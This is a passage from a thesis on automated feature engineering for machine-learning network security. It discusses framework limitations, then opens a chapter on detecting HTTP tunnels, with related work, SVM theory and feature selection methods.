one (white). For a fully connected neural network, every neuron in one layer
is connected to every neuron in the next layer. The values of neurons in a
given hidden layer are calculated from the weight of the each input connection
multiplied by the bias of the neuron in the previous layer, summed over all input
connections. Once all values in a layer are calculated, they are fed forward to
the next layer in the ANN.
For an example problem of recognising the digits zero to nine, the output layer
would have 10 neurons, with each representing one of the digits. The recognised
digit corresponds to the output neuron with the highest output value. Example
images are used to train the neural network. The network learns to output the
correct value for a given input using techniques called stochastic gradient descent
and back-propagation. These algorithms tune the neuron biases and connection
weights to minimise the network’s error.
Early ANNs were limited to one or two hidden layers of neurons due to the
complexity of learning. As more hidden layers are added, learning efficiency
drops. The breakthrough for deep learning was developing ways to increase
learning efficiency, hence allowing the neural network to have more hidden lay-
ers. A neural network with two or more hidden layers is called a “deep neural
network”. The advantage of more hidden layers is that each layer represents
higher-level features of the input data. More layers therefore allows the network
to build up a hierarchy of features. Hence, it can perform better than a single
hidden layer. Due to recent successes in applying deep neural networks to image
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recognition and other tasks, it has gained popularity in the research literature.
The hierarchy of features in a deep neural network has some similarity to the
derived features in our automated feature engineering framework. In a neural
network these features are data driven, and their meaning can be opaque. In
our framework, the features are instead constructed using defined operators, and
each resultant feature can be easily understood.
While learning efficiency has been improved to enable deep learning, in some
cases this has been done in a domain-specific way. For example convolutional
neural networks use an architecture which is specially suited to image processing.
They encode domain knowledge about the importance of pixel spatial proximity
through the use of “local receptive fields”. It is unclear how these domain-specific
optimisations can be modified for network security. While a recent publication
by Javaid et al. [97] applies deep learning to network security, the approach uses
features taken from the KDD99 dataset, i.e. it does not yet address the problem
of constructing features directly from raw network traffic.
Further work is required to analyse the applicability of deep learning to net-
work security and whether it can be used as part of an automated feature engi-
neering framework.
3.4.3 Limitations
General limitations in applying ML to network security were discussed in 1.1.8.
The framework in this chapter addressed the main identified limitation – know-
ing what features in network traffic are relevant to a problem. The remaining
limitations are now discussed, as they inform when a security analyst can and
cannot use the framework. Firstly, obtaining labelled training data is difficult.
Our approach assumes samples of the threat traffic are available, but this may
not always be the case. ML also works better when more samples are available,
hence the framework is unlikely to be effective when only a single threat sample
is available. This is related to another limitation – threat traffic is only a tiny
fraction of the total traffic. In the ML community this is known as the class im-
balance problem. While approaches exist to mitigate class imbalance, a highly
imbalanced dataset will likely result in a less accurate detector than a balanced
dataset. A simple solution is to sub-sample normal traffic (the majority class),
however unless this is done carefully, the remaining normal traffic may not be
representative of all normal traffic. This can also lead to a less accurate detector.
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The above limitations apply to all ML-based approaches to network security.
Our framework also has specific limitations which could be addressed with further
work, including:
• Add framework support for domain knowledge The framework’s data-driven
approach provides the advantage of automation, but also the disadvantage
of stumbling on imperfect data. For example, the framework may output
a feature which discriminates threat traffic from normal traffic in the pro-
vided samples, however a security analyst may know it will be irrelevant
in a deployed situation. Currently, the analyst can incorporate this do-
main knowledge only by filtering the feature. The framework should make
this filtering easier, and support alternative ways to incorporate domain
knowledge.
• Expand set of feature construction operators : Operators are used in the
framework to derive additional candidate features from the base features,
e.g. the entropy and unigram operators are applied to all strings. The
operators chosen in the framework were based on those found successful in
the literature. However, the intention is to expand this set of operators as
new informative features are discovered by the research community.
• Enhance use of multi-flow discriminators : In the current framework, each
network traffic flow is output as a suitably-formatted observation for ML.
The ML algorithm tries to minimise its prediction error rate. Hence it
tries to predict every flow correctly by using features which most accurately
discriminate the class of individual flows. Features spanning multiple flows
(MCD features) may only be a valid predictor after a threshold number
of flows have been observed. By outputting MCD features with every
flow, they are not always a valid predictor and hence may be ignored by
the ML algorithm. Future work will enhance the effectiveness of MCD
features. One option is to use an ensemble of classifiers, with one classifier
using SCD features, and other classifiers using MCD features only. The
classifiers using MCD features would be provided with an aggregation of
flows as a single observation, since the MCD features are calculated from
that aggregation. Different flow aggregation methods may be suited to each
detection problem, e.g. flows aggregated per edge, per service, or per host
during different time periods can detect different network behaviours. In
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this proposed scheme, a class label would be provided for each aggregation
of flows (rather than per-flow in the current implementation).
• Expand the supported list of network traffic protocols : The framework was
designed and implemented for computer network traffic. The testing per-
formed in this thesis was limited to HTTP and DNS traffic as well as
NetFlow summaries. The framework was designed to support other net-
work protocols, since it makes use of third party protocol parsers. However,
this is yet to be verified. The framework was not designed for other work
domains (e.g. fraud detection, image or speech recognition) due to major
differences in the types of input data.
• Expand framework to support unsupervised ML: The framework was de-
signed and tested for supervised ML classifiers. The “feature selection”
step in the framework specifically requires labelled datasets to find the most
discriminative features. For unsupervised ML (commonly used in anomaly
detection), a different feature selection algorithm would be required to cope
with unlabelled data. As future work we will investigate feature selection
algorithms for unlabelled data, with the aim of expanding the framework
to support anomaly detection. While anomaly detectors can produce many
false positives, they have high potential to discover novel attacks.
3.4.4 Operational Requirements
The framework is used in this thesis for several research detectors. To use it in
an operational environment, additional considerations would include:
• Scalability : Feature engineering is currently performed oﬄine. Even so,
the combination of a large number of candidate features, and large traffic
volumes can make both feature selection and training of ML models slow.
An operational system would ensure dataset volumes and computational
resources are scaled appropriately to ensure these are performed quickly to
deliver productivity improvements.
• Feature engineering for a deployed detector: When a detector is deployed to
operate in near real-time on a network, features must be generated from the
network stream continuously. The same features are required as those used
during training its model. The automated feature engineering framework
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is not currently optimised to support this ongoing deployed role, as it was
designed to simply find relevant features oﬄine. Further work is required to
ensure the selected features can be efficiently supplied to deployed detectors
from live network traffic.
• Evolving network traffic: The detectors are currently trained oﬄine and
then applied to network traffic. However, due to the dynamic nature of
traffic we expect the models to become out-of-date, and therefore less ac-
curate, over time. An operational detector would require either periodic
retraining, or would use ML algorithms capable of online learning. Some
online learning methods were reviewed in Section 2.8, and they have the
advantage of coping with streaming data and evolving concepts. However
their integration into the automated feature engineering framework is left
as future work.
• Coping with false detections : The framework outputs features suitable for
applying ML to computer network security. However, ML is rarely 100%
accurate, and so false detections are expected. The false detection rate
is likely to be higher than signature-based detectors. Hence, the output
of ML-based detectors will likely require another layer of processing to
filter out likely false positives. The additional layer could be provided by
commercial Security Information and Event Management (SIEM) tools.
• Integrated suite of detectors : Each detector built using the automated fea-
ture engineering framework is currently independent. An operational in-
stallation would likely require many detectors to achieve a broader coverage
of attack types. Further work is required to integrate multiple detectors to
reduce their total resource requirements, e.g. shared.
3.5 Conclusion
In this chapter we introduced an automated feature engineering framework. We
then used the framework to develop two prototype network security applications:
web server attack detection, and botnet detection. Preliminary tests showed
promising results. This gives us confidence that it can be applied to other network
security applications.
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To perform a more thorough test, in the next chapter we use the automated
feature engineering framework to develop a HTTP tunnel detector. We compare
its detection capabilities to a manually-developed detector as well as comparing
to other approaches in the literature.
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Chapter 4
HTTP Tunnel Detection
In Section 1.1.2 we motivated the detection of protocol tunneling. We now focus
our efforts to detect tunnelling over the HTTP protocol. We choose HTTP tun-
nels due to their popularity and their relevance to enterprise networks. HTTP
tunnels are popular because HTTP traffic is generally allowed to egress an or-
ganisation while most other protocols are blocked, i.e. HTTP tunnels work in
most situations. Detection is difficult since the tunnel traffic can blend in with
the the large amount of other HTTP (web) traffic observed on networks.
In Section 1.1.7 we also promoted the idea of using ML to assist detection,
with the caveat that ML algorithms cannot be applied directly to network traf-
fic. Instead a preprocessing step called feature engineering is required which
constructs a set of informative features from the network traffic. The set of
features is provided as input to ML algorithms. However, given the range of pos-
sible features which can be calculated from network traffic, it is not clear which
features are relevant to each network security application. Hence we performed
a literature review in Chapter 2 to study which network traffic features have pre-
viously been found to be useful in ML-based applications. The review found a
range of features have been used from packet headers, protocol information, and
payload data. The features have been generated in different contexts: individual
packets, single flows, or across multiple flows. We consider all these features
when developing a HTTP tunnel detector. We use the automated feature engi-
neering framework described in Chapter 3 to construct these features and then
to select which are most relevant to HTTP tunnel detection.
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4.1 Introduction
In this chapter we develop a ML-based classifier to differentiate HTTP tunnels
from other HTTP traffic. A key requirement for achieving highly accurate classi-
fiers is generating discriminative input features. We therefore use the automated
feature engineering framework described in Chapter 3 to derive a suite of relevant
features directly from network traffic with the aim of both improving classifier
accuracy through discriminative features, and to assist data scientists through
automation. Our implementation is specific to HTTP computer network traffic.
To measure the effectiveness of our proposal, we compare the performance of
a supervised ML classifier built with automated feature engineering versus one
using human-guided features. We use Bro to process network traffic into base
features and then apply automated feature engineering to calculate a larger set
of derived features. The derived features are calculated without favour to any
base feature and include entropy, length and N-grams for all string features, and
averages and standard deviations over time for all numeric features. Feature
selection is then used to find the most relevant subset of these features.
Testing showed that both classifiers achieved a detection rate above 99.93% at
a false positive rate below 0.01%. For our datasets, we conclude that automated
feature engineering can provide the advantage of reducing the time and effort to
develop the classifier through the removal of manual feature engineering. This is
achieved while also maintaining classification accuracy.
4.1.1 Context
Machine learning (ML) algorithms build a model from data in order to derive
knowledge or to make predictions. As discussed in Section 2.1.2, these algorithms
cannot generally be applied to raw data, but are instead used within a process
such as the six stage generic knowledge discovery and data mining (KDDM)
process proposed by Kurgan and Musilek [111] and shown in Figure 4.1. The
KDDM process details the steps required when seeking new knowledge about
an application domain from data. The first stage is to understand the problem
domain enough to specify the problem. The second stage, data understanding,
includes collection of the data and exploring it to assess data quality and use-
fulness. This leads to the data preprocessing in the third stage which includes
tasks such as data cleaning, feature selection and extraction, and derivation of
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Figure 4.1: Stages in KDDM process, their relative effort, and detailed data
preprocessing steps
new features. In the fourth stage, the machine learning algorithm is applied to
prepared training, cross validation and test datasets so the effectiveness of the
approach can be measured in a standard way. The fifth stage evaluates and in-
terprets the results, and once the results are satisfactory, the ML model can be
deployed in Stage 6. Note there are feedback loops throughout the process to sup-
port iterative improvement. The six stage generic model by Kurgan and Musilek
[111] is a unification of five formal KDDM process models in their review, where
each model had a different number of stages, different terminology, but similar
concepts. The authors also documented estimates of the relative effort spent on
each stage, with averages graphed in Figure 4.1. Despite the uncertainty in these
numbers, they highlight the effort required during preprocessing stages prior to
machine learning. The data preprocessing stage takes approximately 50% of the
overall process effort, while the machine learning or data mining stage takes 10%
to 20% . This fact motivates our work on improving data preprocessing, and in
particular feature engineering.
ML has previously been applied in the field of computer network security to
detect malicious activity and anomalies. To apply ML, network traffic is usually
converted into a series of observations, with each observation represented as a
feature vector. For supervised techniques, observations are also labelled with a
normal or malicious class to enable training. The feature vectors are then used
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as input to the machine learning algorithm to make a prediction. Our literature
review in Chapter 2 found that the detection of different threats required the
modelling of different parts of the network traffic. To detect SQL injection at-
tacks on webservers, URL request parameters were modelled [110], whereas for
drive-by-download detection the web response data was modelled [105]. For the
detection of scans, DoS and alpha flows the most relevant features were packet
header features calculated over multiple flows (MCD features). However, to de-
tect crafted attack packets, the headers of individual packets were sufficient [128].
It is therefore important to construct the right feature set for each application.
Generally, this means a network security domain expert is required to prepare
the features. This reduces the opportunity for ML experts to apply their skills
to network security (since ML algorithms are not currently capable of processing
raw network traffic). A notable exception was the KDD Cup 99 dataset which
provided labelled and preprocessed set of network traffic [102]. ML experts were
able to use the dataset directly, resulting in many publications using different
ML algorithms including Bayesian Networks [31], Random Forests [99] and SVMs
[190].
4.1.2 Aims and Contributions
Our aim is to detect a covert form of communication known as HTTP tunnelling
using a ML-based approach. ML requires traffic features relevant to the problem,
and we aim to identify those features automatically. Automation is motivated
by the significant effort currently required to derive feature vectors from network
traffic. Ideally it should be as easy for data scientists to apply ML to HTTP
traffic datasets as it is to the heavily preprocessed KDD Cup 1999 dataset.
Our contribution is an evaluation of the automated feature engineering frame-
work for this application. The framework generates key features directly from
raw HTTP network traffic suitable for HTTP tunnel detection. To verify the
method we build a classifier from these features and measure its HTTP tunnel
detection performance. For comparison, we also build a second classifier using
features designed and chosen manually based on analysis of HTTP tunnel traffic
and previous literature. We compare the accuracy of the two classifiers to demon-
strate that features generated automatically by our framework are as effective as
those generated manually.
Additionally, we build a third classifier using an alternative framework from
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the literature and compare its accuracy to our approach.
The remainder of the chapter comprises related work in Section 4.2; back-
ground material on supervised machine learning and feature selection in Section
4.3; the design of our detectors focussing on data preprocessing in Section 4.4; the
experimental method for evaluating the detectors in Section 4.5; while Sections
4.6 and 4.7 list and discuss the results respectively; and Section 4.8 summarises
the outcomes of the work.
4.2 Related Work
In this section we review related work in HTTP tunnel detection and in feature
engineering.
4.2.1 HTTP Tunnels
A HTTP tunnel is a type of storage covert channel carried by the HTTP protocol.
While tunnels can be used for legitimate purposes such as protecting user privacy
or for delivering real-time services over HTTP, they could equivalently be misused
to bypass network security, exfiltrate data or be used for a command and control
channel. Due to these security risks, organisations generally attempt to prevent
unauthorised HTTP tunnels.
To set up a HTTP tunnel, the user needs to run tunnelling software on devices
at both ends of the tunnel. This software encodes data entering the tunnel, and
decodes data exiting it. Once the tunnel is established it can be used to send or
receive arbitrary data or commands. The tunnelled data can be obfuscated or
encrypted to counter reverse engineering attempts.
A number of software implementations for tunnelling over HTTP/HTTPS
are freely available. These include Firepass [62], corkscrew [148] and GNU
httptunnel [22]. We installed and ran these, and other HTTP tunnel imple-
mentations in a testbed. Tunnelling software is also available for other common
protocols, e.g. for DNS software implementations include Iodine1, Ozyman2 and
DNScat3. While many other types of network covert channels exist, we limit the
scope to storage channels using the HTTP protocol. HTTP was chosen since
1Iodine: http://code.kryo.se/iodine/
2Ozyman: http://www.doxpara.com/
3DNScat: http://tadek.pietraszek.org/projects/DNScat
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the protocol is generally allowed to egress an organisation and hence is a prime
target for attackers. Users in most organisations need to access information on
the Web as part of their job. Web browsing uses the HTTP protocol to fetch
content. Hence the organisation must allow HTTP requests from user worksta-
tions to reach the internet (perhaps via a filtering web proxy). HTTP requests
which cross the perimeter of the organisation’s network can therefore be misused
to create a HTTP tunnel. In contrast, other protocols such as P2P and FTP are
not needed for core business and hence are generally blocked. DNS is another
application-level protocol which can be used for tunnelling. DNS is discussed
in Chapter 5. Lower level protocols such as TCP and IP are ubiquitous and so
would also seem prime candidates for tunnelling. However, a common security
measure at the network perimeter is to use proxies (e.g. a web proxy). Proxies
re-write IP packets and also create their own TCP connections to external hosts.
Any tunnelled information in these protocol header fields is therefore overwritten.
Hence tunnelling out of an organisation using these protocols can be prevented.
We also chose to detect storage channels because they are more popular due
to their generally higher bandwidth than timing channels. Storage channels place
hidden information within the objects being transmitted such as in unimportant
or unused sections of protocols or data formats. This is in contrast to timing
channels which transmit information as metadata. Timing channels may encode
information by manipulating the timing or ordering of network packets, or by
the presence or absence of a particular message.
4.2.2 Tunnel Detection
To avoid the security risks of HTTP tunnels, ideally networks could prevent
them. However, prevention is not always practical given many organisations
require open web communication to do business. Zander et al. [197] discuss im-
portant tunnel prevention measures. However, since tunnel prevention measures
are imperfect, networks should also be monitored to detect suspicious activity
indicative of tunnelling.
Several HTTP tunnel detection techniques based on network monitoring have
been published. Web Tap applies anomaly detection to HTTP layer information
to find unusual HTTP request headers as well as usage statistics indicative of a
tunnel [14] . DUMONT is a similar system which uses a hierarchy of one-class SVM
to classify flows as normal or a tunnel [166] . It uses features including lengths,
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structure, timing and entropy calculated from HTTP requests.
Other approaches analyse lower-level packet information. Importantly, this
makes them also useful for encrypted HTTPS tunnel detection since IP packet
headers are not encrypted. An example is a statistical, anomaly-based detector
called Tunnel Hunter [40]. It uses packet sizes and packet inter-arrival times
within each network flow to create probability density estimates (PDEs) for
normal traffic. Captured HTTP traffic is then compared to the PDEs to calculate
an anomaly score. Anomaly scores above a threshold are flagged as a potential
tunnel.
A similar detector by Ding and Cai [56] attempts to improve upon Tunnel
Hunter. Its features included the mean and variance of packet sizes and timing
within a flow, as well as flow duration and number of packets in a flow. The
authors trained a decision tree classifier and achieved improved detection capa-
bility over Tunnel Hunter for their dataset. However this was at the expense of
requiring labelled training data including both normal and tunnel HTTP traffic
for their supervised machine learning approach.
Gilbert and Bhattacharya [79] use a hybrid approach of anomaly detection
and regular expression matching to find HTTP sessions indicative of tunnels.
They passively monitor network traffic and perform TCP session reconstruction
and HTTP application protocol parsing. HTTP traffic with less than 80% RFC
compliance or statistical deviations are flagged as anomalies.
Botnet command and control (C2) channels can also be considered tunnels.
Detection approaches include correlating “beaconing” behaviour of multiple in-
fected internal hosts over a time period [83, 80].
Some work has investigated countermeasures to detection [64]. Since at-
tackers would modify their tunnels if they knew their existing tunnels could be
detected, studying countermeasures is an important part of detection. Their
work addresses the problem of detecting which websites a user visits over TLS,
however the results are relevant to HTTP tunnels. To counter traffic analysis
the authors use padding and traffic morphing. However, their classifiers are still
able to achieve 80% accuracy in detecting which of 128 websites a user visited.
They concluded that when countermeasures are applied, the most discriminative
features are coarse-grained features such as overall time, total bandwidth and
size of bursts. They also concluded that features, rather than the classification
algorithms, have the most effect on classification accuracy. Their approach used
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the closed world assumption of 128 websites, vastly simplifying the problem over
an open-world assumption.
While our approach is completely passive, others have listed alternative tech-
niques to detecting covert communication such as protocol tunnelling [92]. Proac-
tive approaches can be used to probe network devices thereby eliciting more in-
formation. These manipulate network traffic by delaying, dropping or injecting
packets to fingerprint a service. This is the approach taken by the tool nmap
which discovers network hosts and services. Using an active approach may of-
fer an easier alternative to detect protocol tunnelling compared to our passive
approach, with the caveat that active techniques may have unintended conse-
quences.
4.2.3 Feature Engineering
Feature engineering aims to convert raw data into a set of discriminative features
suitable for input to machine learning algorithms. The standard input format
is feature vectors, with each vector representing an observation. For supervised
machine learning, the concept to be learnt is also added to the vectors in the
form of a class label. The machine learning algorithm then generates a model
which can predict the class label based only on the input features. However the
predictive power of the model is heavily dependent on the chosen input features
[85]. Feature engineering therefore aims to generate discriminative input features
which results in a simpler, faster, more accurate and comprehensible classifier.
Feature engineering often involves manual inspection of data and applying
domain knowledge to find discriminative information. Once this information
is found, features can be constructed to represent it. The features are then
used as input to the ML algorithm. This data exploration, followed by manual
feature construction, machine learning and testing is performed iteratively until
the desired accuracy is achieved. The process can take significant time and effort.
The field of automated feature construction attempts to apply automation
when generating new discriminative features based on a basic set of features.
Automated feature construction techniques in the literature include boolean op-
erators, M-of-N, X-of-N, hyperplanes and standard arithmetic operators. Other
techniques include Bayesian [132], data mining [119], or the addition of domain
knowledge through annotation [164]. These alternatives are now explained in
more detail.
4.2. Related Work 97
Boolean operators are used to combine existing base features into a newly
constructed feature. An early example is FRINGE [149] which uses the two
boolean operators ¬ and ∧ to combine existing features in the induced decision
tree to construct new features.
M-of-N features are constructed from a set of N existing boolean features.
The new boolean feature is true when at least M of those N features are true
(M ≤ N) for a particular observation. This concept was used in ID2-of3 which
was shown to improve learner performance compared to a standard decision tree
[143]. M-of-N has been found useful when concepts can be represented as “criteria
tables” such as in some medical expert systems. X-of-N extends this concept to
nominal features [203].
Standard decision tree algorithms such as C4.5 [157] create a threshold value
for a single feature at each node in the tree to provide the best differentiation
between classes at that node. The chosen feature and feature value is used to
create a line (or hyperplane in many dimensions) to separate the classes. Creating
these hyperplanes is a form of feature construction.
Markovitch and Rosenstein [133] developed the FICUS framework. It con-
structs new features by applying mathematical operators such as *, /, +, -, count
and maximum to existing features. Due to the large search space of possible new
features, the FICUS framework supports using domain knowledge to guide which
operators should be used for feature construction. This is achieved by including
a grammar for writing feature construction specifications. The FICUS algorithm
evaluates new features using a decision tree learner which is separate to the
eventual classifier.
Lee and Stolfo [119] used data mining to construct additional features for
network intrusion detection. Link analysis and sequence analysis were applied
to connection records in order to find patterns of intrusions and normal be-
haviour. This approach reduces the need to manually analyse the raw data and
guess suitable statistical features, e.g. frequent episodes showed that per-host and
per-service features should be constructed. The mathematical operators count,
percent and average were applied to the base features.
When a number of operators are used for feature construction, the set of
possible combinations is very large. To limit the number of features, the con-
struction process should be guided. Even so, automated feature construction is
likely to produce a number of redundant or irrelevant features. These have been
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shown to reduce classifier accuracy [65]. Fortunately they can be removed using
well-understood feature selection techniques.
A review of feature construction methods [172] discusses current problems in
the field: overfitting the training set and the lack of methods to incorporate do-
main knowledge. Overfitting can occur when feature engineering produces many
complex features but the number of training instances is small. In this situation,
the machine learning algorithm is likely to find a solution which matches the
training data but which won’t generalise to new observations. While more train-
ing data may help, better feature construction strategies are also required. Do-
main knowledge can be used to guide the construction, however current methods
of incorporating domain knowledge (such as choosing “operators”) are limited.
4.3 Background
Important tools used in our work on HTTP tunnel detection include a super-
vised ML algorithm called support vector machines (SVM), and a feature selec-
tion algorithm based on information gain. Each of these are discussed below as
background material.
4.3.1 Supervised Machine Learning
A common approach to discriminate between classes (e.g. “tunnel” and “normal”
HTTP traffic) is to use a classifier. Classifiers use a supervised machine learning
algorithm and a labelled training set of examples. Since our work uses this
approach, we now describe it in more detail.
Machine learning uses computer algorithms to learn from data. The field
is inspired by the human ability to learn through observations. One machine
learning method called a neural network is even inspired by the anatomy of the
human brain. Other machine learning algorithms are grounded in statistical
inference and pattern recognition. The aim of machine learning is to enable
predictions by finding hidden structure or patterns in data. Predictions are in
two main forms. The first is classification to predict which category a data
observation belongs to from a finite set of possible categories, e.g. the optical
character recognition problem to classify which number in the range 0 to 9 is
present in each digit of a hand-written postcode (zip-code). In machine learning
categories are also called class labels or just classes, and observations are data
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instances. The second form is regression which predicts the value of a continuous
variable, e.g. the expected house price based on influencing factors such as the
number of bedrooms and location. For computer network security we often want
to predict the type of traffic observed, such as whether network traffic is malicious
or normal. Hence in this thesis we concentrate on classification.
Classifiers learn a model from a training set of data. The learnt model can
then be used to predict a label for new data. Machine learning therefore makes
data-driven predictions, in contrast to traditional computer programs which fol-
low strict instructions to produce their output.
The first step in classification is to preprocess data into a representation
suitable for machine learning. Suitable input is name-value pairs in the form
of a set of feature vectors x. All feature vectors must have the same length `.
Features based on the raw data aim to encode all relevant information to avoid
information loss. Features can be either numeric or discrete. Numeric features
in network traffic may be either integers, such as the number of network packets
observed in a flow, or real numbers such as the duration of the flow. Discrete
(categorical) features can take a single value from a finite set, e.g. the HTTP
method may be one of {GET, HEAD, POST, OTHER}.
Machine learning can be either supervised or unsupervised:
• Supervised machine learning - each feature vector representing a training
instance has the class label appended. The training data then becomes a
set of pairs (xi, yi), i = 1, 2, . . . , N where N is the total number training
instances, and yi is the class label. Class labels for classifiers are dis-
crete. Binary classifiers have two class values, e.g. yn ∈ {−1, 1} or yn ∈
{true, false}. Multi-class classifiers allow M values, yi ∈ {1, 2, . . . ,M}.
Multi-class problems can be solved by decomposing them into a set of
binary-class problems.
• Unsupervised machine learning - does not require the training data to be
labelled, i.e. no supervision needed. Instead, the data-driven model finds
structure, e.g. clusters, or finds the range of normal activity. New data
is compared to the model using a distance measure. Any new data with
distance measure greater than a threshold value is considered an outlier.
This is a useful method for anomaly detection.
Classification uses supervised machine learning to derive a function f which
translates the input feature vectors x to the supplied class labels y in the training
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Figure 4.2: (a) many possible hyperplanes can linearly separate the classes. (b)
the SVM maximum margin hyperplane
set. After learning this function, the classifier uses it to predict the class of new
data instances y′ = f(x)
A number of classification algorithms have been developed including logistic
regression, naive Bayes, neural networks, decision trees, random forests and sup-
port vector machines. We now describe the classification algorithms used in our
work.
4.3.2 Support Vector Machines
The first classification algorithm used in this work is a support vector machine
(SVM). An SVM is a supervised algorithm which can be used for classification
or regression. As with all supervised machine learning, an SVM classifier learns
a model from a training set (xi, yi) for i = 1 . . . N instances. Each instance i is a
p-dimensional feature vector xi plus an associated class label yi. Features must
be numeric, i.e. xi ∈ Rn, and class labels yi ∈ {−1, 1}N . The aim is to use the
learnt model to correctly predict class labels of new instances.
A distinguishing aspect of SVMs is the maximum margin hyperplane. For
the binary classification task shown in Figure 4.2, a hyperplane (a line in two
dimensions) is created which maximises the distance to the closest point for each
of the two classes in the training set. While there are an infinite number of
solutions which linearly separate the two classes, there is only one solution with
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this maximum margin. Maximum margin is chosen as it should result in lower
classification error on unseen test cases, i.e it should make a more generalised
classifier.
If the points closest to the hyperplane were to move, then so would the
hyperplane, i.e. the maximum margin hyperplane is completely defined by the
points closest to it. These critical points are known as the support vectors. SVM
classification models are therefore very compact as they only need to store the
support vectors, and can omit all other training instances.
The simplest explanation is for a hard-margin SVM where the training in-
stances are linearly separable. First we create two parallel hyperplanes to com-
pletely separate the classes:
w · x + b = 1
w · x + b = −1
where w is a vector of p weights (one for each feature). Since all training in-
stances should be located on the correct side of these hyperplanes, we have the
constraints:
w · xi + b ≥ 1, if yi = 1
w · xi + b < −1, if yi = −1
It can be shown geometrically that the distance between the hyperplanes is 2‖w‖ .
Since the aim is to maximise the distance between the hyperplanes, the optimi-
sation problem can be written (after combining constraints):
Minimise
1
2
‖w‖2 under constraint yi(w · xi + b) ≥ 1, for i = 1, . . . , N (4.1)
A new test instance can then be classified with this model using sign(w·x+b).
Later, a soft-margin SVM was introduced to handle situations where the
training instances are not linearly separable [37]. Soft-margin SVMs enable the
optimisation step to converge even when the linear constraints in Equation 4.1
can not be satisfied. It does so by adding a non-negative slack variable  to the
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Figure 4.3: Soft margin SVM. (a) high value of C penalises misclassifications.
(b) low value of C gives low penalty
linear constraints which allows for some errors, i.e. a soft margin:
yi(w · xi + b) ≥ 1− ξi (4.2)
The problem then becomes one of minimising
1
2
‖w‖2 + C(
∑
i
ξi) (4.3)
under the constraint in Equation 4.2, and where C is a user-defined cost pa-
rameter. For most instances ξi is zero, with it only being non-zero for training
instances on the wrong side of the hyperplane. A large value chosen for the cost
parameter C will make the SVM strictly avoid misclassifications (high variance
model), while a very low value of C will make it choose the maximum margin hy-
perplane irrespective of some errors (high bias model). Hence C is an important
parameter to control the bias-variance trade off.
Another important aspect of SVMs is that the linear model can be used to
implement non-linear class boundaries. This is necessary for many applications
where the classes are not at all linearly separable. To create a non-linear class
boundary a kernel trick is used in which a non-linear transformation is applied
to the input data. If the SVM creates a linear decision boundary (or hyperplane)
in the transformed space, it can actually represent a non-linear boundary in the
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original space. A number of non-linear kernel transformations exist. We use the
general purpose Gaussian radial basis function (RBF) kernel with formula:
K(xi,xj) = e
−‖xi−xj‖2
2σ2 (4.4)
The kernel therefore has a tuning parameter σ which controls the width of the
Gaussian centred at each support vector. A small width can give a tighter
fit. Hence this is another important tuning parameter for controlling the bias-
variance trade off.
4.3.3 Feature Selection
Input to machine learning algorithms is in the format of feature vectors. These
vectors can have very high dimensionality when all relevant information is ex-
tracted from raw data. Classifiers can then suffer “the curse of dimensionality”
where both the learning time and the final accuracy of the classifier suffer. Clas-
sifier accuracy is poor when the learnt model has high variance (overfitted) or
high bias (underfitted). Overfitting is likely to occur when dimensionality is
high but there are not many training instances. The result is a classifier which
performs well on the training set, but does not generalize to future datasets.
To avoid this problem, a preprocessing data reduction step called feature se-
lection is used. Feature selection aims to automatically find the most relevant
subset of features from the feature vector. It should therefore discard irrelevant
features (those with no influence on the output class) and redundant features
(those duplicating information from another feature). Note that feature selec-
tion only aims to find a subset of existing features. This is different to other
data reduction techniques such as principal component analysis (PCA) which
transform a feature set into a smaller set of new features.
In addition to reducing both learning time and overfitting, feature selection
results in models which are simpler and therefore easier to interpret.
Feature selection algorithms can be either univariate or multivariate. Uni-
variate algorithms only consider a single feature at at time, either independently
or measuring its relevance to the class labels in the training set. Multivariate
algorithms measure the relevance of multiple features together, and hence can
take into account inter-dependencies between features.
The feature selection process has four basic steps shown in Figure 4.4 [43, 33]:
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Figure 4.4: The basic four step feature selection process.
1. Generation: produces a subset of the initial features using a search method
to make a unique subset on each iteration. Performing an exhaustive search
of all possible subsets is too computationally intensive for most problems.
Hence different search strategies are used. One method is backward elim-
ination, which starts with all features and eliminates the least relevant
feature on each iteration. The opposite approach is taken in forward selec-
tion which starts with an empty set and adds the most relevant feature on
each iteration.
2. Evaluation: scores the suitability of the feature subset so the best sub-
set can be identified. Scores can be based on the classifier accuracy, or
calculated independently, such as using information gain.
3. Stop criterion: is used to decide whether to stop searching, or to loop back
to the generation step. The stop criterion varies by search method, but
can include reaching a threshold score, observing no improvement in score
between iterations, or reaching a bound such as the minimum number of
features or the maximum search runtime.
4. Validation: compares classifier performance between using the chosen sub-
set and using the full feature set.
Feature selection can be further categorised as using a filter, wrapper or
embedded method. Filter methods run independently of the classifier. They use
statistical measures to score each feature, e.g. Pearson correlation coefficient, or
information gain [86]. Features with the lowest scores are then discarded, with
the threshold score for discarding or keeping features chosen by cross validation.
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This is simple, fast, and effective for eliminating irrelevant features. However it
may discard features which are only relevant in combination with other features.
The second method is a wrapper approach. Each feature subset is used to
build and evaluate a classifier, with classifier error used to score the subset. The
search algorithm “wraps” a classifier which is simply used as a black box to score
the subset. Wrapper methods are multivariate because evaluations are made on
a set of features at a time. Hence feature inter-dependencies can be accounted
for, generally resulting in better feature selection than filter methods. However
wrapper methods have a high computation cost in evaluating a classifier on each
iteration of the search process.
The third method is named “embedded” because feature selection is embed-
ded in the process of training a classifier model. It can only be used with machine
learning algorithms which provide feature importance scores, since these scores
are used to rank features. Examples of embedded methods include: SVM recur-
sive feature elimination (RFE) which eliminates the least important features in
the model on each iteration; tree-based models where information gain is used to
choose the feature at each splitting node); and l1 regularisation techniques such
as LASSO where coefficients for some features are shrunk to zero, making those
features irrelevant. Embedded methods generally have lower computational cost
than wrapper methods.
The feature selection method used in this Chapter, “Information Gain”, was
described in detail in Section 3.2.4.
4.4 Automated Feature Engineering for HTTP
Tunnel Detection
Our approach to HTTP tunnel detection is similar to Web Tap and DUMONT in
that we analyse data at the HTTP protocol layer. However, while both of those
approaches are anomaly-based, we instead take a supervised machine learning
approach. We train a model on tunnel traffic generated by a broad range of
HTTP tunnelling applications and also on representative background normal
traffic. Our supervised approach aims to create a detector with a low false
positive rate by training it to detect HTTP tunnels rather than general HTTP
anomalies. As more tunnels are discovered they can be added to the model via
retraining.
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The tool we created is called HTTP Exfiltration Detector (HED). It aims to
detect HTTP tunnels at a network perimeter through analysis of network traffic.
An SVM supervised ML algorithm learns to differentiate HTTP tunnels from
normal traffic based on training examples. The choice of classifier algorithm
is not considered important for our tests, as we are instead concentrating on
the effect of different data preprocessing strategies (while keeping the learning
algorithm constant). HED contains two alternative data preprocessing software
modules. The first module generates relevant features using our “automated”
feature engineering framework. The second module uses a standard approach
as a baseline for comparison. We call the second approach “expert” feature
